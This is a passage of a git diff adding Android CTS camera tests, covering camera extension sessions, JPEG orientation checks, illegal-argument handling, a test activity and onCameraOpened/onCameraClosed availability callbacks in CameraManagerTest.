+                    OutputConfiguration readerOutput = new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                    List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                    outputConfigs.add(readerOutput);
+
+                    BlockingExtensionSessionCallback sessionListener =
+                            new BlockingExtensionSessionCallback(mock(
+                                    CameraExtensionSession.StateCallback.class));
+                    ExtensionSessionConfiguration configuration =
+                            new ExtensionSessionConfiguration(extension, outputConfigs,
+                                    new HandlerExecutor(mTestRule.getHandler()),
+                                    sessionListener);
+
+                    try {
+                        mTestRule.openDevice(id);
+                        CameraDevice camera = mTestRule.getCamera();
+                        camera.createExtensionSession(configuration);
+                        CameraExtensionSession extensionSession =
+                                sessionListener.waitAndGetSession(
+                                        SESSION_CONFIGURE_TIMEOUT_MS);
+                        assertNotNull(extensionSession);
+
+                        CaptureRequest.Builder captureBuilder =
+                                mTestRule.getCamera().createCaptureRequest(
+                                        CameraDevice.TEMPLATE_STILL_CAPTURE);
+                        captureBuilder.addTarget(imageReaderSurface);
+                        CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                                mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                        for (int i = 0; i < IMAGE_COUNT; i++) {
+                            int jpegOrientation = (i * 90) % 360; // degrees [0..270]
+                            if (captureFormat == ImageFormat.JPEG) {
+                                captureBuilder.set(CaptureRequest.JPEG_ORIENTATION,
+                                        jpegOrientation);
+                            }
+                            CaptureRequest request = captureBuilder.build();
+                            int sequenceId = extensionSession.capture(request,
+                                    new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+
+                            Image img =
+                                    imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
+                            if (captureFormat == ImageFormat.JPEG) {
+                                verifyJpegOrientation(img, maxSize, jpegOrientation);
+                            } else {
+                                validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
+                                        captureFormat, null);
+                            }
+                            img.close();
+
+                            verify(captureCallback, times(1))
+                                    .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
+                            verify(captureCallback,
+                                    timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                    .onCaptureProcessStarted(extensionSession, request);
+                            verify(captureCallback,
+                                    timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                    .onCaptureSequenceCompleted(extensionSession, sequenceId);
+                        }
+
+                        verify(captureCallback, times(0))
+                                .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                        anyInt());
+                        verify(captureCallback, times(0))
+                                .onCaptureFailed(any(CameraExtensionSession.class),
+                                        any(CaptureRequest.class));
+
+                        extensionSession.close();
+
+                        sessionListener.getStateWaiter().waitForState(
+                                BlockingExtensionSessionCallback.SESSION_CLOSED,
+                                SESSION_CLOSE_TIMEOUT_MS);
+                    } finally {
+                        mTestRule.closeDevice(id);
+                        extensionImageReader.close();
+                    }
+                }
+            }
+        }
+    }
+
+    // Test case combined repeating with multi frame capture on all supported extensions.
+    // Verify still frame output.
+    @Test
+    public void testRepeatingAndCaptureCombined() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                int captureFormat = ImageFormat.JPEG;
+                List<Size> captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        captureFormat);
+                assertFalse("No Jpeg output supported", captureSizes.isEmpty());
+                Size captureMaxSize =
+                        CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
+
+                SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false
+                        , 1);
+                ImageReader extensionImageReader = CameraTestUtils.makeImageReader(
+                        captureMaxSize, captureFormat, /*maxImages*/ 1, imageListener,
+                        mTestRule.getHandler());
+                Surface imageReaderSurface = extensionImageReader.getSurface();
+                OutputConfiguration readerOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(readerOutput);
+
+                // Pick a supported preview/repeating size with aspect ratio close to the
+                // multi-frame capture size
+                List<Size> repeatingSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxRepeatingSize =
+                        CameraTestUtils.getMaxSize(repeatingSizes.toArray(new Size[0]));
+                List<Size> previewSizes = getSupportedPreviewSizes(id,
+                        mTestRule.getCameraManager(),
+                        getPreviewSizeBound(mTestRule.getWindowManager(), PREVIEW_SIZE_BOUND));
+                List<Size> supportedPreviewSizes =
+                        previewSizes.stream().filter(repeatingSizes::contains).collect(
+                                Collectors.toList());
+                if (!supportedPreviewSizes.isEmpty()) {
+                    float targetAr =
+                            ((float) captureMaxSize.getWidth()) / captureMaxSize.getHeight();
+                    for (Size s : supportedPreviewSizes) {
+                        float currentAr = ((float) s.getWidth()) / s.getHeight();
+                        if (Math.abs(targetAr - currentAr) < 0.01) {
+                            maxRepeatingSize = s;
+                            break;
+                        }
+                    }
+                }
+
+                mSurfaceTexture.setDefaultBufferSize(maxRepeatingSize.getWidth(),
+                        maxRepeatingSize.getHeight());
+                Surface texturedSurface = new Surface(mSurfaceTexture);
+                outputConfigs.add(new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback repeatingCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback repeatingCaptureCallback =
+                            new SimpleCaptureCallback(repeatingCallbackMock);
+                    CaptureRequest repeatingRequest = captureBuilder.build();
+                    int repeatingSequenceId =
+                            extensionSession.setRepeatingRequest(repeatingRequest,
+                                    new HandlerExecutor(mTestRule.getHandler()),
+                                    repeatingCaptureCallback);
+
+                    Thread.sleep(REPEATING_REQUEST_TIMEOUT_MS);
+
+                    verify(repeatingCallbackMock, atLeastOnce())
+                            .onCaptureStarted(eq(extensionSession), eq(repeatingRequest),
+                                    anyLong());
+                    verify(repeatingCallbackMock, atLeastOnce())
+                            .onCaptureProcessStarted(extensionSession, repeatingRequest);
+
+                    captureBuilder = mTestRule.getCamera().createCaptureRequest(
+                            android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    captureBuilder.addTarget(imageReaderSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                    CaptureRequest captureRequest = captureBuilder.build();
+                    int captureSequenceId = extensionSession.capture(captureRequest,
+                            new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+
+                    Image img =
+                            imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
+                    validateImage(img, captureMaxSize.getWidth(),
+                            captureMaxSize.getHeight(), captureFormat, null);
+                    img.close();
+
+                    verify(captureCallback, times(1))
+                            .onCaptureStarted(eq(extensionSession), eq(captureRequest),
+                                    anyLong());
+                    verify(captureCallback, timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureProcessStarted(extensionSession, captureRequest);
+                    verify(captureCallback, timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession,
+                                    captureSequenceId);
+                    verify(captureCallback, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+                    verify(captureCallback, times(0))
+                            .onCaptureFailed(any(CameraExtensionSession.class),
+                                    any(CaptureRequest.class));
+
+                    extensionSession.stopRepeating();
+
+                    verify(repeatingCallbackMock,
+                            timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession, repeatingSequenceId);
+
+                    verify(repeatingCallbackMock, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    assertEquals("The sum of onCaptureProcessStarted and onCaptureFailed" +
+                                    " callbacks must match with the number of calls to " +
+                                    "onCaptureStarted!",
+                            repeatingCaptureCallback.getTotalFramesArrived() +
+                                    repeatingCaptureCallback.getTotalFramesFailed(),
+                            repeatingCaptureCallback.getTotalFramesStarted());
+                    assertTrue(String.format("The last repeating request surface timestamp " +
+                                    "%d must be less than or equal to the last " +
+                                    "onCaptureStarted " +
+                                    "timestamp %d", mSurfaceTexture.getTimestamp(),
+                            repeatingCaptureCallback.getLastTimestamp()),
+                            mSurfaceTexture.getTimestamp() <=
+                                    repeatingCaptureCallback.getLastTimestamp());
+
+                } finally {
+                    mTestRule.closeDevice(id);
+                    texturedSurface.release();
+                    extensionImageReader.close();
+                }
+            }
+        }
+    }
+
+    private void verifyJpegOrientation(Image img, Size jpegSize, int requestedOrientation)
+            throws IOException {
+        byte[] blobBuffer = getDataFromImage(img);
+        String blobFilename = mTestRule.getDebugFileNameBase() + "/verifyJpegKeys.jpeg";
+        dumpFile(blobFilename, blobBuffer);
+        ExifInterface exif = new ExifInterface(blobFilename);
+        int exifWidth = exif.getAttributeInt(ExifInterface.TAG_IMAGE_WIDTH, /*defaultValue*/0);
+        int exifHeight = exif.getAttributeInt(ExifInterface.TAG_IMAGE_LENGTH, /*defaultValue*/0);
+        Size exifSize = new Size(exifWidth, exifHeight);
+        int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
+                /*defaultValue*/ ExifInterface.ORIENTATION_UNDEFINED);
+        final int ORIENTATION_MIN = ExifInterface.ORIENTATION_UNDEFINED;
+        final int ORIENTATION_MAX = ExifInterface.ORIENTATION_ROTATE_270;
+        assertTrue(String.format("Exif orientation must be in range of [%d, %d]",
+                ORIENTATION_MIN, ORIENTATION_MAX),
+                exifOrientation >= ORIENTATION_MIN && exifOrientation <= ORIENTATION_MAX);
+
+        /**
+         * Device captured image doesn't respect the requested orientation,
+         * which means it rotates the image buffer physically. Then we
+         * should swap the exif width/height accordingly to compare.
+         */
+        boolean deviceRotatedImage = exifOrientation == ExifInterface.ORIENTATION_UNDEFINED;
+
+        if (deviceRotatedImage) {
+            // Case 1.
+            boolean needSwap = (requestedOrientation % 180 == 90);
+            if (needSwap) {
+                exifSize = new Size(exifHeight, exifWidth);
+            }
+        } else {
+            // Case 2.
+            assertEquals("Exif orientation should match requested orientation",
+                    requestedOrientation, getExifOrientationInDegree(exifOrientation));
+        }
+
+        assertEquals("Exif size should match jpeg capture size", jpegSize, exifSize);
+    }
+
+    private static int getExifOrientationInDegree(int exifOrientation) {
+        switch (exifOrientation) {
+            case ExifInterface.ORIENTATION_NORMAL:
+                return 0;
+            case ExifInterface.ORIENTATION_ROTATE_90:
+                return 90;
+            case ExifInterface.ORIENTATION_ROTATE_180:
+                return 180;
+            case ExifInterface.ORIENTATION_ROTATE_270:
+                return 270;
+            default:
+                fail("It is impossible to get non 0, 90, 180, 270 degress exif" +
+                        "info based on the request orientation range");
+                return -1;
+        }
+    }
+
+    public static class SimpleCaptureCallback
+            extends CameraExtensionSession.ExtensionCaptureCallback {
+        private long mLastTimestamp = -1;
+        private int mNumFramesArrived = 0;
+        private int mNumFramesStarted = 0;
+        private int mNumFramesFailed = 0;
+        private boolean mNonIncreasingTimestamps = false;
+        private final CameraExtensionSession.ExtensionCaptureCallback mProxy;
+
+        public SimpleCaptureCallback(CameraExtensionSession.ExtensionCaptureCallback proxy) {
+            mProxy = proxy;
+        }
+
+        @Override
+        public void onCaptureStarted(CameraExtensionSession session,
+                                     CaptureRequest request, long timestamp) {
+
+            if (timestamp < mLastTimestamp) {
+                mNonIncreasingTimestamps = true;
+            }
+            mLastTimestamp = timestamp;
+            mNumFramesStarted++;
+            if (mProxy != null) {
+                mProxy.onCaptureStarted(session, request, timestamp);
+            }
+        }
+
+        @Override
+        public void onCaptureProcessStarted(CameraExtensionSession session,
+                                            CaptureRequest request) {
+            mNumFramesArrived++;
+            if (mProxy != null) {
+                mProxy.onCaptureProcessStarted(session, request);
+            }
+        }
+
+        @Override
+        public void onCaptureFailed(CameraExtensionSession session,
+                                    CaptureRequest request) {
+            mNumFramesFailed++;
+            if (mProxy != null) {
+                mProxy.onCaptureFailed(session, request);
+            }
+        }
+
+        @Override
+        public void onCaptureSequenceAborted(CameraExtensionSession session,
+                                             int sequenceId) {
+            if (mProxy != null) {
+                mProxy.onCaptureSequenceAborted(session, sequenceId);
+            }
+        }
+
+        @Override
+        public void onCaptureSequenceCompleted(CameraExtensionSession session,
+                                               int sequenceId) {
+            if (mProxy != null) {
+                mProxy.onCaptureSequenceCompleted(session, sequenceId);
+            }
+        }
+
+        public int getTotalFramesArrived() {
+            return mNumFramesArrived;
+        }
+
+        public int getTotalFramesStarted() {
+            return mNumFramesStarted;
+        }
+
+        public int getTotalFramesFailed() {
+            return mNumFramesFailed;
+        }
+
+        public long getLastTimestamp() throws IllegalStateException {
+            if (mNonIncreasingTimestamps) {
+                throw new IllegalStateException("Non-monotonically increasing timestamps!");
+            }
+            return mLastTimestamp;
+        }
+    }
+
+    @Test
+    public void testIllegalArguments() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    try {
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to absent output surfaces");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    int captureFormat = ImageFormat.YUV_420_888;
+                    List<Size> captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            captureFormat);
+                    if (captureSizes.isEmpty()) {
+                        captureFormat = ImageFormat.JPEG;
+                        captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                                captureFormat);
+                    }
+                    Size captureMaxSize =
+                            CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
+
+                    mSurfaceTexture.setDefaultBufferSize(1, 1);
+                    Surface texturedSurface = new Surface(mSurfaceTexture);
+                    outputConfigs.add(new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                    try {
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to illegal repeating request"
+                                + " output surface");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    } finally {
+                        outputConfigs.clear();
+                    }
+
+                    SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false,
+                            1);
+                    Size invalidCaptureSize = new Size(1, 1);
+                    ImageReader extensionImageReader = CameraTestUtils.makeImageReader(
+                            invalidCaptureSize, captureFormat, /*maxImages*/ 1,
+                            imageListener, mTestRule.getHandler());
+                    Surface imageReaderSurface = extensionImageReader.getSurface();
+                    OutputConfiguration readerOutput = new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                    outputConfigs.add(readerOutput);
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                    try{
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to illegal multi-frame"
+                                + " request output surface");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    } finally {
+                        outputConfigs.clear();
+                        extensionImageReader.close();
+                    }
+
+                    // Pick a supported preview/repeating size with aspect ratio close to the
+                    // multi-frame capture size
+                    List<Size> repeatingSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            mSurfaceTexture.getClass());
+                    Size maxRepeatingSize =
+                            CameraTestUtils.getMaxSize(repeatingSizes.toArray(new Size[0]));
+                    List<Size> previewSizes = getSupportedPreviewSizes(id,
+                            mTestRule.getCameraManager(),
+                            getPreviewSizeBound(mTestRule.getWindowManager(), PREVIEW_SIZE_BOUND));
+                    List<Size> supportedPreviewSizes =
+                            previewSizes.stream().filter(repeatingSizes::contains).collect(
+                                    Collectors.toList());
+                    if (!supportedPreviewSizes.isEmpty()) {
+                        float targetAr =
+                                ((float) captureMaxSize.getWidth()) / captureMaxSize.getHeight();
+                        for (Size s : supportedPreviewSizes) {
+                            float currentAr = ((float) s.getWidth()) / s.getHeight();
+                            if (Math.abs(targetAr - currentAr) < 0.01) {
+                                maxRepeatingSize = s;
+                                break;
+                            }
+                        }
+                    }
+
+                    imageListener = new SimpleImageReaderListener(false, 1);
+                    extensionImageReader = CameraTestUtils.makeImageReader(captureMaxSize,
+                            captureFormat, /*maxImages*/ 1, imageListener, mTestRule.getHandler());
+                    imageReaderSurface = extensionImageReader.getSurface();
+                    readerOutput = new OutputConfiguration(OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                            imageReaderSurface);
+                    outputConfigs.add(readerOutput);
+
+                    mSurfaceTexture.setDefaultBufferSize(maxRepeatingSize.getWidth(),
+                            maxRepeatingSize.getHeight());
+                    texturedSurface = new Surface(mSurfaceTexture);
+                    outputConfigs.add(new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(imageReaderSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback repeatingCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback repeatingCaptureCallback =
+                            new SimpleCaptureCallback(repeatingCallbackMock);
+                    CaptureRequest repeatingRequest = captureBuilder.build();
+                    try {
+                        extensionSession.setRepeatingRequest(repeatingRequest,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                repeatingCaptureCallback);
+                        fail("should get IllegalArgumentException due to illegal repeating request"
+                                + " output target");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    captureBuilder = mTestRule.getCamera().createCaptureRequest(
+                            android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                    CaptureRequest captureRequest = captureBuilder.build();
+                    try {
+                        extensionSession.capture(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalArgumentException due to illegal multi-frame"
+                                + " request output target");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    texturedSurface.release();
+                    extensionImageReader.close();
+
+                    try {
+                        extensionSession.setRepeatingRequest(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    try {
+                        extensionSession.stopRepeating();
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    try {
+                        extensionSession.capture(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+            }
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java
new file mode 100644
index 0000000..ca26284
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.TextureView;
+
+public class CameraExtensionTestActivity extends Activity {
+    private TextureView mTextureView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mTextureView = new TextureView(this);
+        setContentView(mTextureView);
+    }
+
+    public TextureView getTextureView() {
+        return mTextureView;
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index c4efba7..620ccee 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -641,6 +641,19 @@
                 otherQueue.size() == 0);
     }
 
+    private void verifySingleAvailabilityCbsReceived(LinkedBlockingQueue<String> expectedEventQueue,
+            LinkedBlockingQueue<String> unExpectedEventQueue, String expectedId,
+            String expectedStr, String unExpectedStr) throws Exception {
+        String candidateId = expectedEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
+                java.util.concurrent.TimeUnit.MILLISECONDS);
+        assertTrue("Received " + expectedStr + " notice for wrong ID, " +
+                "expected " + expectedId + ", got " + candidateId, expectedId.equals(candidateId));
+        assertTrue("Received >  1 " + expectedStr + " callback for id " + expectedId,
+                expectedEventQueue.size() == 0);
+        assertTrue(unExpectedStr + " events received unexpectedly",
+                unExpectedEventQueue.size() == 0);
+    }
+
     private void testCameraManagerListenerCallbacks(boolean useExecutor) throws Exception {
 
         final LinkedBlockingQueue<String> availableEventQueue = new LinkedBlockingQueue<>();
@@ -652,37 +665,54 @@
         final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
                 new LinkedBlockingQueue<>();
 
+        final LinkedBlockingQueue<String> onCameraOpenedEventQueue = new LinkedBlockingQueue<>();
+        final LinkedBlockingQueue<String> onCameraClosedEventQueue = new LinkedBlockingQueue<>();
+
         CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
             @Override
             public void onCameraAvailable(String cameraId) {
-                try {
-                    // When we're testing system cameras, we don't list non system cameras in the
-                    // camera id list as mentioned in Camera2ParameterizedTest.java
-                    if (mAdoptShellPerm &&
-                            !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
-                        return;
-                    }
-                } catch (CameraAccessException e) {
-                    fail("CameraAccessException thrown when attempting to access camera" +
-                         "characteristics" + cameraId);
-                }
+                // We allow this callback irrespective of mAdoptShellPerm since for this particular
+                // test, in the case when shell permissions are adopted we test all cameras, for
+                // simplicity. This is since when mAdoptShellPerm is false, we can't test for
+                // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+                // So, to test all cameras, we test them when we adopt shell permission identity.
+                super.onCameraAvailable(cameraId);
                 availableEventQueue.offer(cameraId);
             }
 
             @Override
             public void onCameraUnavailable(String cameraId) {
+                super.onCameraUnavailable(cameraId);
                 unavailableEventQueue.offer(cameraId);
             }
 
             @Override
             public void onPhysicalCameraAvailable(String cameraId, String physicalCameraId) {
+                super.onPhysicalCameraAvailable(cameraId, physicalCameraId);
                 availablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
             }
 
             @Override
             public void onPhysicalCameraUnavailable(String cameraId, String physicalCameraId) {
+                super.onPhysicalCameraUnavailable(cameraId, physicalCameraId);
                 unavailablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
             }
+
+            @Override
+            public void onCameraOpened(String cameraId, String packageId) {
+                super.onCameraOpened(cameraId, packageId);
+                String curPackageId = mContext.getPackageName();
+                assertTrue("Opening package should be " + curPackageId + ", was " + packageId,
+                        curPackageId.equals(packageId));
+                onCameraOpenedEventQueue.offer(cameraId);
+            }
+
+            @Override
+            public void onCameraClosed(String cameraId) {
+                super.onCameraClosed(cameraId);
+                onCameraClosedEventQueue.offer(cameraId);
+            }
+
         };
 
         if (useExecutor) {
@@ -691,9 +721,15 @@
             mCameraManager.registerAvailabilityCallback(ac, mHandler);
         }
         String[] cameras = mCameraIdsUnderTest;
+        if (mAdoptShellPerm) {
+            //when mAdoptShellPerm is false, we can't test for
+            // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+            // So, to test all cameras, we test them when we adopt shell permission identity.
+            cameras = mCameraManager.getCameraIdListNoLazy();
+        }
 
         if (cameras.length == 0) {
-            Log.i(TAG, "No cameras present, skipping test");
+            Log.i(TAG, "No cameras present, skipping test mAdoprPerm");
             return;
         }
 
@@ -723,14 +759,13 @@
             // Then verify only open happened, and get the camera handle
             CameraDevice camera = verifyCameraStateOpened(id, mockListener);
 
-            // Verify that we see the expected 'unavailable' event.
-            String candidateId = unavailableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received unavailability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Availability events received unexpectedly",
-                    availableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(unavailableEventQueue,
+                        availableEventQueue, id, "unavailability", "Availability");
+            if (mAdoptShellPerm) {
+                // Verify that we see the expected 'onCameraOpened' event.
+                verifySingleAvailabilityCbsReceived(onCameraOpenedEventQueue,
+                        onCameraClosedEventQueue, id, "onCameraOpened", "onCameraClosed");
+            }
 
             // Verify that we see the expected 'unavailable' events if this camera is a physical
             // camera of another logical multi-camera
@@ -752,17 +787,16 @@
             // Verify that we see the expected 'available' event after closing the camera
 
             camera.close();
-
             mCameraListener.waitForState(BlockingStateCallback.STATE_CLOSED,
                     CameraTestUtils.CAMERA_CLOSE_TIMEOUT_MS);
 
-            candidateId = availableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received availability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Unavailability events received unexpectedly",
-                    unavailableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(availableEventQueue, unavailableEventQueue,
+                    id, "availability", "Unavailability");
+
+            if (mAdoptShellPerm) {
+                verifySingleAvailabilityCbsReceived(onCameraClosedEventQueue,
+                        onCameraOpenedEventQueue, id, "onCameraClosed", "onCameraOpened");
+            }
 
             expectedLogicalCameras = new HashSet<Pair<String, String>>(relatedLogicalCameras);
             verifyAvailabilityCbsReceived(expectedLogicalCameras,
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index d18da38..1ca6107 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
